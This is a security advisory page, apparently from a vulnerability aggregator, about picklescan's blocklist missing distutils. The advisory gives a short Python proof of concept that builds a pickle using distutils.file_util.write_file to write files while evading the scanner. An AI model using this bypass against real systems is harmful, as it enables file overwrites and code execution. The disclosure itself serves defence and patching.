Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-m273-6v24-x4m4

Опубликовано: 29 дек. 2025
Источник: github
Github: Прошло ревью
CVSS4: 8.9

Описание

Picklescan vulnerable to Arbitrary File Writing

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl")
image

To fix this just add disutil to the blacklist

Пакеты

Наименование

picklescan

pip
Затронутые версииВерсия исправления

< 0.0.33

0.0.33

8.9 High

CVSS4

Дефекты

CWE-502
CWE-552

8.9 High

CVSS4

Дефекты

CWE-502
CWE-552